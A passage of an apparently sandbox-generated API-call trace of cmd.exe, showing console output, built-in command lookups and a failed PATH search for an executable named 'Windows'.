0x20b0f92cb10 [0162.208] _tell (_FileHandle=3) returned 862 [0162.208] _close (_FileHandle=3) returned 0 [0162.208] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.208] GetFileType (hFile=0x50) returned 0x2 [0162.208] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.208] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.210] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.214] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.214] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.214] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.214] GetFileType (hFile=0x50) returned 0x2 [0162.214] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.214] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.215] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.215] GetFileType (hFile=0x50) returned 0x2 [0162.215] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.215] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.216] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.216] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0162.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.216] GetFileType (hFile=0x50) returned 0x2 [0162.216] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.216] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.217] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0162.217] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.217] GetFileType (hFile=0x50) returned 0x2 [0162.217] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.217] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.218] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.224] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.225] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.226] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.226] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.226] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.226] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.226] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.226] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.226] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.226] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.226] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.226] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.226] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.226] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.226] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.226] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.226] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.226] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.226] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.226] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.226] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.226] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.226] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.226] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.226] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.226] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.226] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.227] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.227] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.227] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.227] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.227] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.227] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.227] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.227] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.227] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.227] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.227] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.227] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.227] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.227] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.227] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.227] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.227] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.227] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.227] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.227] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.228] GetProcessHeap () returned 0x20b0f920000 [0162.228] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.230] SetErrorMode (uMode=0x0) returned 0x0 [0162.230] SetErrorMode (uMode=0x1) returned 0x0 [0162.230] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.230] SetErrorMode (uMode=0x0) returned 0x1 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.230] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.230] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.230] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.230] GetProcessHeap () returned 0x20b0f920000 [0162.230] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.231] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d2d0 [0162.231] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0162.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.231] GetLastError () returned 0x2 [0162.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.231] GetLastError () returned 0x2 [0162.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.231] GetLastError () returned 0x2 [0162.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.232] GetLastError () returned 0x2 [0162.232] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.232] GetLastError () returned 0x2 [0162.232] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.232] GetLastError () returned 0x2 [0162.232] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.232] GetLastError () returned 0x2 [0162.232] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.232] GetLastError () returned 0x2 [0162.232] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.232] GetLastError () returned 0x2 [0162.233] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.233] GetLastError () returned 0x2 [0162.233] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.233] GetLastError () returned 0x2 [0162.233] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.233] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.233] GetLastError () returned 0x2 [0162.233] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.233] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d030 [0162.233] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0162.233] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.234] GetLastError () returned 0x2 [0162.234] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.234] GetLastError () returned 0x2 [0162.234] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.234] GetLastError () returned 0x2 [0162.234] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.234] GetLastError () returned 0x2 [0162.234] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.234] GetLastError () returned 0x2 [0162.234] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.234] GetLastError () returned 0x2 [0162.234] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.235] GetLastError () returned 0x2 [0162.235] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.235] GetLastError () returned 0x2 [0162.235] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.235] GetLastError () returned 0x2 [0162.235] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.235] GetLastError () returned 0x2 [0162.235] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.236] GetLastError () returned 0x2 [0162.236] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.236] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.236] GetLastError () returned 0x2 [0162.236] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.236] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.236] GetLastError () returned 0x2 [0162.236] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.236] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.236] GetLastError () returned 0x2 [0162.236] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.236] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.237] GetLastError () returned 0x2 [0162.237] ??_V@YAXPEAX@Z () returned 0x1 [0162.237] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.237] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.237] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.237] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.237] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.238] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.238] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.238] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.238] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.238] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.238] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.238] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.238] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.238] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.238] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.238] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.238] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.238] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.238] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.238] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.238] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.238] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.238] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.238] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.238] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.238] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.238] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.238] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.238] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.238] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.238] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.239] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.239] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.239] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.239] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.239] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.239] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.239] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.239] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.239] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.239] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.239] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.239] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.239] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.239] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.239] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.239] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.239] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.239] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.239] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.239] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.239] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.239] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.239] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.239] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.239] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.239] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.239] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.239] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.239] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.239] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.239] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.239] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.239] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.239] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.239] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.239] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.239] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.240] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.240] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.240] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.240] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.240] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.240] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.240] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.240] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.240] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.240] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.240] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.240] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.240] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.240] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.240] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.240] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.240] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.240] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.240] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.240] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.240] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.240] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.240] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.240] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.240] ??_V@YAXPEAX@Z () returned 0x1 [0162.241] GetProcessHeap () returned 0x20b0f920000 [0162.241] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.241] GetProcessHeap () returned 0x20b0f920000 [0162.241] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f92d680 [0162.241] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.241] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.241] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.242] GetProcessHeap () returned 0x20b0f920000 [0162.242] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.243] SetErrorMode (uMode=0x0) returned 0x0 [0162.243] SetErrorMode (uMode=0x1) returned 0x0 [0162.243] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.243] SetErrorMode (uMode=0x0) returned 0x1 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] 